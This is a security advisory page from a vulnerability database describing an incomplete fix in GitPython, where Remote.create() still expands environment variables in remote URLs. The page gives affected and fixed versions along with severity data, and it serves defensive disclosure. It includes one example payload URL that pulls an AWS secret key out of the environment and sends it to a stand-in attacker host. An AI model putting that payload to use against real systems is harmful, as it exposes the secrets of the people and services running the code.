Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. GitPython
  4. ›
  5. GHSA-94p4-4cq8-9g67

GHSA-94p4-4cq8-9g67: GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

July 24, 2026

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process’s environment secret, written into .git/config, and then transmitted to the attacker’s host on the next fetch/pull. This is the same primitive and same “import repository from URL” threat model the advisory describes, via the sibling caller the fix missed.

References

  • github.com/advisories/GHSA-94p4-4cq8-9g67
  • github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162
  • github.com/gitpython-developers/GitPython/releases/tag/3.1.55
  • github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67

Code Behaviors & Features

Detect and mitigate GHSA-94p4-4cq8-9g67 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 3.1.55

Fixed versions

  • 3.1.55

Solution

Upgrade to version 3.1.55 or above.

Impact 7.5 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Learn more about CVSS

Weakness

  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-214: Invocation of Process Using Visible Sensitive Information

Source file

pypi/GitPython/GHSA-94p4-4cq8-9g67.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sat, 08 Aug 2026 00:19:20 +0000.